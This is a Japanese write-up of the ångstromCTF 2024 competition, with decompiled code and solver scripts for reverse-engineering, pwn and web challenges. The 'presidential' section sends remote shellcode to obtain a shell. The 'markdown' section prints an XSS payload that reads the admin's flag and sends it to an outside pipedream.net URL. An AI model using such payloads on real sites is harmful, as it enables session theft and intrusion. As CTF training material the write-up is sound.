All Articles

ångstromCTF 2024 Writeup

ångstromCTF 2024 に 0nePadding で参加してました。

特定はキリよく 1000 ポイントで 108 位/ 923 チームでした。

image-20240602170849307

これまでは Rev ばかり解いてきましたが、これからは少しずつ Pwn と Web も解いていこうと思っています。

もくじ

Guess the Flag(Rev)

Do you have what it takes to guess the flag?

問題バイナリをデコンパイルすると以下の結果が得られます。

int32_t main(int32_t argc, char** argv, char** envp)
{
    void* fsbase;
    int64_t rax = *(uint64_t*)((char*)fsbase + 0x28);
    puts("Go ahead, guess the flag: ");
    void buf;
    void* rbx = &buf;
    fgets(&buf, 0x3f, __TMC_END__);
    while (true)
    {
        if (strlen(&buf) <= ((char*)rbx - &buf))
        {
            break;
        }
        *(uint8_t*)rbx = (*(uint8_t*)rbx ^ 1);
        rbx = ((char*)rbx + 1);
    }
    if (strcmp(&buf, "`bugzbnllhuude^un^uid^md`ru^rhfo…") != 0)
    {
        puts("Wrong. Not sure why you'd think …");
    }
    else
    {
        puts("Correct! It was kinda obvious tb…");
    }
    *(uint64_t*)((char*)fsbase + 0x28);
    if (rax != *(uint64_t*)((char*)fsbase + 0x28))
    {
        __stack_chk_fail();
        /* no return */
    }
    return 0;
}

ぱっと見で 1 と XOR された Flag が埋め込まれていることがわかります。

image-20240525184353437

switcher(Rev)

It’s incredible how completely indiscernible the functions are…

問題バイナリを見ると fgets で取得したパスワード文字列を検証していることがわかります。

image-20240526132723701

このチェックを行っている関数を見ると、Flag を先頭から 1 文字ずつ比較する関数を次々に呼び出していることがわかります。

image-20240526132742407

こういうのは脳死 angr で簡単に解けるので、以下の Solver で Flag を取得しました。

import angr

proj = angr.Project("switcher", auto_load_libs=False)
obj = proj.loader.main_object
find = 0x401219
avoids = [0x40122c,0x4010f8]
init_state = proj.factory.entry_state()
simgr = proj.factory.simgr(init_state)
simgr.explore(find=find, avoid=avoids)
simgr.found[0].posix.dumps(0)

# actf{jumping_my_way_to_the_flag_one_by_one}

Polyomino(Rev)

I know this is a cybersecurity competition but I decided to throw in a math problem to level the field a little bit. You can solve it, right?

問題バイナリを解析すると以下のデコンパイル結果を得られます。

int32_t main(int32_t argc, char** argv, char** envp)
{
    void* fsbase
    int64_t rax = *(fsbase + 0x28)
    __printf_chk(flag: 1, format: "I'm practicing my math skills. G…")
    int32_t* var_80 = &data_40a0
    int32_t* var_88 = &data_409c
    int32_t* var_90 = &data_4098
    int32_t* var_98 = &data_4094
    __isoc99_scanf(format: "%d %d %d %d %d %d %d %d %d", &data_4080, &data_4080:4, &data_4088, &data_4088:4, &data_4090, var_98, var_90, var_88, var_80)
    __printf_chk(flag: 1, format: "Hmm, let me think")
    fflush(fp: stdout)
    usleep(useconds: 0x493e0)
    putchar(c: 0x2e)
    fflush(fp: stdout)
    usleep(useconds: 0x493e0)
    putchar(c: 0x2e)
    fflush(fp: stdout)
    usleep(useconds: 0x493e0)
    puts(str: &data_2098)
    usleep(useconds: 0x7a120)
    int64_t rdi_3 = -0x3c
    int32_t rax_15
    while (true)
        int64_t* i_1 = &data_4080
        int64_t rsi = 0
        int64_t rcx_1 = 1
        int64_t* i = &data_4080
        uint64_t rdx_1
        do
            int64_t rdx = sx.q(*i)
            i = i + 4
            rdx_1 = rdx * rcx_1
            rcx_1 = rcx_1 * rdi_3
            rsi = rsi + rdx_1
        while (&data_40a4 != i)
        if (rdi_3.d != 0x2c && rdi_3.d != 0x3a)
            uint64_t r9_2 = zx.q(rdi_3.d + 0x25)
            if (r9_2.d u> 0x36 || (r9_2.d u<= 0x36 && not(test_bit(0x400c0210000001, r9_2))))
                if (rsi.d != 0)
                    goto label_1285
                goto label_138f
        if (rsi.d != 0)
            label_138f:
            puts(str: "Those aren't the right numbers. …")
            rax_15 = 1
            break
        label_1285:
        rdi_3 = rdi_3 + 1
        if (rdi_3 == 0x3c)
            if (data_40a0 != 1)
                do
                    int32_t rax_4 = *i_1
                    i_1 = i_1 + 4
                    int32_t temp4_1
                    int32_t temp5_1
                    temp4_1:temp5_1 = sx.q(rax_4)
                    rdx_1 = zx.q(mods.dp.d(temp4_1:temp5_1, data_40a0))
                    *(i_1 - 4) = divs.dp.d(temp4_1:temp5_1, data_40a0)
                while (i_1 != &data_40a4)
            __printf_chk(flag: 1, format: "Correct! Here's the flag: ", rdx_1)
            void var_58
            void* i_2 = &var_58
            int64_t var_78 = data_4080
            void* rbp_1 = &data_4020
            int64_t var_70_1 = data_4088
            int16_t var_68_1 = (data_4090).w
            int16_t var_66_1 = (data_4094).w
            int16_t var_64_1 = (data_4098).w
            int16_t var_62_1 = (data_409c).w
            int16_t var_60_1 = (data_40a0).w
            __builtin_memcpy(dest: &var_58, src: &var_78, n: 0x1a)
            void var_3e
            __builtin_memcpy(dest: &var_3e, src: &var_78, n: 0x1a)
            void var_24
            do
                char rdi_4 = *i_2 ^ *rbp_1
                i_2 = i_2 + 1
                rbp_1 = rbp_1 + 1
                *(i_2 - 1) = rdi_4
                putchar(c: zx.d(rdi_4))
            while (&var_24 != i_2)
            putchar(c: 0xa)
            rax_15 = 0
            break
    *(fsbase + 0x28)
    if (rax != *(fsbase + 0x28))
        __stack_chk_fail()
        noreturn
    return rax_15
}

scanf で受け取った 9 つの整数値を While ループ内の以下の箇所で処理した結果、rdi_3 変数の値が 0x3c に到達した場合にその値を使って復号した Flag が出力される仕組みになっていました。

int64_t* i_1 = &data_4080
int64_t rsi = 0
int64_t rcx_1 = 1
int64_t* i = &data_4080
uint64_t rdx_1
do
    int64_t rdx = sx.q(*i)
    i = i + 4
    rdx_1 = rdx * rcx_1
    rcx_1 = rcx_1 * rdi_3
    rsi = rsi + rdx_1
while (&data_40a4 != i)
if (rdi_3.d != 0x2c && rdi_3.d != 0x3a)
    uint64_t r9_2 = zx.q(rdi_3.d + 0x25)
    if (r9_2.d u> 0x36 || (r9_2.d u<= 0x36 && not(test_bit(0x400c0210000001, r9_2))))
        if (rsi.d != 0)
            goto label_1285
        goto label_138f
if (rsi.d != 0)
    label_138f:
    puts(str: "Those aren't the right numbers. …")
    rax_15 = 1
    break
label_1285:
rdi_3 = rdi_3 + 1

正直ここで実施している数学的な処理の詳細は理解できなかったので、何とか angr で Flag を取得する方法を模索することにし、最終的に以下の Solver を使用しました。

import angr
import claripy

proj = angr.Project('./polyomino', auto_load_libs=False)

start = 0x401209
state = proj.factory.blank_state(addr=start, add_options={angr.options.LAZY_SOLVES})

flag1 = claripy.BVS('flag1', 32, explicit_name=True)
flag2 = claripy.BVS('flag2', 32, explicit_name=True)
flag3 = claripy.BVS('flag3', 32, explicit_name=True)
flag4 = claripy.BVS('flag4', 32, explicit_name=True)
flag5 = claripy.BVS('flag5', 32, explicit_name=True)
flag6 = claripy.BVS('flag6', 32, explicit_name=True)
flag7 = claripy.BVS('flag7', 32, explicit_name=True)
flag8 = claripy.BVS('flag8', 32, explicit_name=True)
flag9 = claripy.BVS('flag9', 32, explicit_name=True)

state.memory.store(0x404080, flag1, endness='Iend_LE')
state.memory.store(0x404084, flag2, endness='Iend_LE')
state.memory.store(0x404088, flag3, endness='Iend_LE')
state.memory.store(0x40408c, flag4, endness='Iend_LE')
state.memory.store(0x404090, flag5, endness='Iend_LE')
state.memory.store(0x404094, flag6, endness='Iend_LE')
state.memory.store(0x404098, flag7, endness='Iend_LE')
state.memory.store(0x40409c, flag8, endness='Iend_LE')
state.memory.store(0x4040a0, flag9, endness='Iend_LE')

find = 0x4012bd
avoids = [0x401388,0x40138f,0x4013b2]

simgr = proj.factory.simgr(state)
simgr.explore(find=find, avoid=avoids)
simgr.explore(find=find, avoid=avoids)

found = simgr.found[0]

a = found.solver.eval(flag1, cast_to=int)
b = found.solver.eval(flag2, cast_to=int)
c = found.solver.eval(flag3, cast_to=int)
d = found.solver.eval(flag4, cast_to=int)
e = found.solver.eval(flag5, cast_to=int)
f = found.solver.eval(flag6, cast_to=int)
g = found.solver.eval(flag7, cast_to=int)
h = found.solver.eval(flag8, cast_to=int)
i = found.solver.eval(flag9, cast_to=int)
print("{} {} {} {} {} {} {} {} {}".format(a,b,c,d,e,f,g,h,i))

この Solver を実行すると、毎回違う結果が得られますが、その整数値を問題バイナリに与えると一部の文字が欠けた状態の Flag が手に入ります。

image-20240602172955944

これを何度か繰り返した後どうしても埋まらない部分を guess した結果、actf{wow_you_successfully_passed_algebra_4_3bf3c5d6} が正しい Flag であることを特定できました。

exam(Pwn)

I thought my tiring AP season was over, but I heard that they’re offering a flag in AP Cybersecurity! The proctor seems to have trust issues though…

まずは問題バイナリの保護機構をチェックします。

image-20240525184639840

このプログラムをデコンパイルすると、trust_level の値が threshold(0x7ffffffe) を上回れば Flag を取得できることがわかりました。

また、trust_level の初期値は、0 から入力値として送り込んだ detrust を減算した値になります。

image-20240602180922808

しかし、detrust は 0 以上の値である必要があり、また trust_level の初期値が 0x7ffffffe ちょうどになる値を入力することはできません。

ただし、正しい文字列を入力すると、あとから trust_level を 1 ずつ減算することは可能です。

そこで、trust_level の初期値が 0x7ffffffe に最も近くなるように 2147483646 を入力値として与え、2 回正しい文字列を入力することで Flag を取得します。

このような処理を実行するために以下の Solver を作成しました。

from pwn import *

# Set context
CONTEXT = "debug"
context.log_level = CONTEXT

# Set target
TARGET_PATH = "./exam"
exe = ELF(TARGET_PATH)

# Run program
# is_gdb = True
is_gdb = False
if is_gdb:
    target = gdb.debug(TARGET_PATH, aslr=False, gdbscript=gdbscript)
else:
    target = remote("challs.actf.co", 31322)
    # target = process(TARGET_PATH)

# Exploit
target.recvline_startswith(b"How much should I not trust you? >:)")
payload = b"2147483646"
target.sendline(payload)

while True:
    target.recvline_startswith(b"Prove your trustworthyness by")
    payload = b"I confirm that I am taking this exam between the dates 5/24/2024 and 5/27/2024. I will not disclose any information about any section of this exam."
    target.sendline(payload)

この Solver を実行すると正しい Flag を取得できました。

image-20240525234440546

presidential(Pwn)

👍

問題バイナリとして以下の Python スクリプトが与えられます。

#!/usr/local/bin/python

import ctypes
import mmap
import sys

flag = "redacted"

print("White House declared Python to be memory safe :tm:")

buf = mmap.mmap(-1, mmap.PAGESIZE, prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC)
ftype = ctypes.CFUNCTYPE(ctypes.c_void_p)
fpointer = ctypes.c_void_p.from_buffer(buf)
f = ftype(ctypes.addressof(fpointer))

u_can_do_it = bytes.fromhex(input("So enter whatever you want 👍 (in hex): "))

buf.write(u_can_do_it)

f()

del fpointer
buf.close()

print("byebye")

このコードを読むと、単純に受け取ったシェルコードを実行していることがわかります。

そこで、以下の Solver を作成しました。

from pwn import *

target = remote("challs.actf.co", 31200)

context.arch = 'amd64'
shellcode = shellcraft.amd64.linux.sh()
assembled_shellcode = asm(shellcode)

# Exploit
target.recvuntil(b"(in hex): ")
payload = assembled_shellcode.hex()
target.sendline(payload)

# Finish exploit
target.interactive()
target.clean()

これで Shell を取得でき、Flag 取得に成功しました。

image-20240526175856054

spinner(Web)

spin 10,000 times for flag

問題サーバにアクセスすると、以下のようなボールをマウスホールドして回転させた回数がカウントされるアプリケーションが起動します。

image-20240525234656517

問題サーバのコードを読むと、このカウントが 10,000 を超えれば Flag を取得できるようです。

const state = {
    dragging: false,
    value: 0,
    total: 0,
    flagged: false,
}

const message = async () => {
    if (state.flagged) return
    const element = document.querySelector('.message')
    element.textContent = Math.floor(state.total / 360)

    if (state.total >= 10_000 * 360) {
        state.flagged = true
        const response = await fetch('/falg', { method: 'POST' })
        element.textContent = await response.text()
    }
}
message()

const draw = () => {
    const spinner = document.querySelector('.spinner')
    const degrees = state.value
    spinner.style.transform = `rotate(${degrees}deg)`
}

const down = () => {
    state.dragging = true
}

const move = (e) => {
    if (!state.dragging) return

    const spinner = document.querySelector('.spinner')
    const center = {
        x: spinner.offsetLeft + spinner.offsetWidth / 2,
        y: spinner.offsetTop + spinner.offsetHeight / 2,
    }
    const dy = e.clientY - center.y
    const dx = e.clientX - center.x
    const angle = (Math.atan2(dy, dx) * 180) / Math.PI

    const value = angle < 0 ? 360 + angle : angle
    const change = value - state.value

    if (0 < change && change < 180) state.total += change
    if (0 > change && change > -180) state.total += change
    if (change > 180) state.total -= 360 - change
    if (change < -180) state.total += 360 + change

    state.value = value

    draw()
    message()
}

const up = () => {
    state.dragging = false
}

document.querySelector('.handle').addEventListener('mousedown', down)
window.addEventListener('mousemove', move)
window.addEventListener('mouseup', up)
window.addEventListener('blur', up)
window.addEventListener('mouseleave', up)

そこで、開発者ツールで直接値を置き換えることで Flag を取得しました。

image-20240525234850364

markdown(Web)

My friend made an app for sharing their notes!

問題サーバにアクセスすると、以下のように送信したマークダウンを WEB ページに表示するサービスが起動します。

image-20240526003810635

また、管理者アクセス用のツールもあります。

image-20240526003823917

問題アプリケーションのソースコードを見ると、Flag は管理者の Cookie に存在していることがわかります。

const crypto = require('crypto')

const express = require('express')
const app = express()

const posts = new Map()

app.use(express.urlencoded({ extended: false }))

app.get('/', (_req, res) => {
    const placeholder = [
        '# Note title',
        'Content of the note. You can use *italics*!',
    ].join('\n')

    res.type('text/html').end(`
        <link rel="stylesheet" href="/style.css">
        <div class="content">
            <h1>Pastebin</h1>
            <form action="/create" method="POST">
                <textarea name="content">${placeholder}</textarea>
                <button type="submit">Create</button>
            </form>
        </div>
    `)
})

app.get('/flag', (req, res) => {
    const cookie = req.headers.cookie ?? ''
    res.type('text/plain').end(
        cookie.includes(process.env.TOKEN)
        ? process.env.FLAG
        : 'no flag for you'
    )
})

app.get('/view/:id', (_req, res) => {
    const marked = (
        'https://cdnjs.cloudflare.com/ajax/libs/marked/4.2.2/marked.min.js'
    )

    res.type('text/html').end(`
        <link rel="stylesheet" href="/style.css">
        <div class="content">
        </div>
        <script src="${marked}"></script>
        <script>
            const content = document.querySelector('.content')
            const id = document.location.pathname.split('/').pop()

            delete (async () => {
                const response = await fetch(\`/content/\${id}\`)
                const text = await response.text()
                content.innerHTML = marked.parse(text)
            })()
        </script>
    `)
})

app.post('/create', (req, res) => {
    const data = req.body.content ?? ''
    const id = crypto.randomBytes(8).toString('hex')
    posts.set(id, data)
    res.redirect(`/view/${id}`)
})

app.get('/content/:id', (req, res) => {
    const id = req.params.id
    const data = posts.get(id) ?? ''
    res.type('text/plain').end(data)
})

app.get('/style.css', (_req, res) => {
    res.type('text/css').end(`
        * {
          font-family: system-ui, -apple-system, BlinkMacSystemFont,
            'Segoe UI', Roboto, 'Helvetica Neue', sans-serif;
          box-sizing: border-box;
        }

        html,
        body {
          margin: 0;
        }

        .content {
          padding: 2rem;
          width: 90%;
          max-width: 900px;
          margin: auto;
        }

        input:not([type='submit']) {
          width: 100%;
          padding: 8px;
          margin: 8px 0;
        }

        textarea {
          width: 100%;
          padding: 8px;
          margin: 8px 0;
          resize: vertical;
          font-family: monospace;
        }

        input[type='submit'] {
          margin-bottom: 16px;
        }


    `)
})

app.listen(3000)

そこで、送信するマークダウン経由で XSS を発火させることにしました。

しかし、今回のように innerHTML で後から埋め込まれたスクリプトの場合、ブラウザ側で上手く Javascript が実行されません。

そこで、以下の記事を参考にし、img タグの onerror を使用して任意のスクリプトを実行します。

参考:チーム内CTFで作問した話 - XSS編 #JavaScript - Qiita

今回は、以下のコードを送信することで Flag を取得しました。

<img src="x" onerror='fetch("/flag").then(e=>e.text()).then(e=>{console.log("GET response HTML:",e);let t=encodeURIComponent(e),n=`https://eoxwstthee5l1zi.m.pipedream.net?query=${t}`;return fetch(n)}).then(e=>e.text()).then(e=>{console.log("GET response from target URL:",e)});'></img>

この中では以下のコードを実行しています。

fetch("/flag")
    .then(response => response.text())
    .then(htmlString => {
        console.log("GET response HTML:", htmlString);
        const encodedHtmlString = encodeURIComponent(htmlString);
        const targetUrl = `https://eoxwstthee5l1zi.m.pipedream.net?query=${encodedHtmlString}`;
        return fetch(targetUrl);
    })
    .then(response => response.text())
    .then(result => {
        console.log("GET response from target URL:", result);
    });

あとはエクスプロイトを埋め込んだサイトに管理者 BOT からアクセスさせることで、以下のように Flag を取得できます。

image-20240526003701192

まとめ

Pwn と Web の勉強を始めましたが、全然解けないので精進します。

Pwn で面白い問題を解いたので、後日別の記事にまとめたいと思います。